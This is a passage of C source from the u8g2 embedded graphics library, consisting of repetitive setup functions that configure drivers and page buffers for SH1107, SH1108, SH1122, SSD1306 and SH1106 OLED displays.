uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 */ /* sh1108 1 */ void u8g2_Setup_sh1108_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 2 */ void u8g2_Setup_sh1108_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 f */ void u8g2_Setup_sh1108_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 */ /* sh1108 1 */ void u8g2_Setup_sh1108_i2c_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 2 */ void u8g2_Setup_sh1108_i2c_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 f */ void u8g2_Setup_sh1108_i2c_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 */ /* sh1108 1 */ void u8g2_Setup_sh1108_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 2 */ void u8g2_Setup_sh1108_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 f */ void u8g2_Setup_sh1108_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 */ /* sh1108 1 */ void u8g2_Setup_sh1108_i2c_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 2 */ void u8g2_Setup_sh1108_i2c_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1108 f */ void u8g2_Setup_sh1108_i2c_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1122 */ /* sh1122 1 */ void u8g2_Setup_sh1122_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sh1122 2 */ void u8g2_Setup_sh1122_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sh1122 f */ void u8g2_Setup_sh1122_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sh1122 */ /* sh1122 1 */ void u8g2_Setup_sh1122_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sh1122 2 */ void u8g2_Setup_sh1122_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sh1122 f */ void u8g2_Setup_sh1122_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_i2c_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_i2c_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_i2c_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_6_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_6_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_6_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_6_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_6_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, 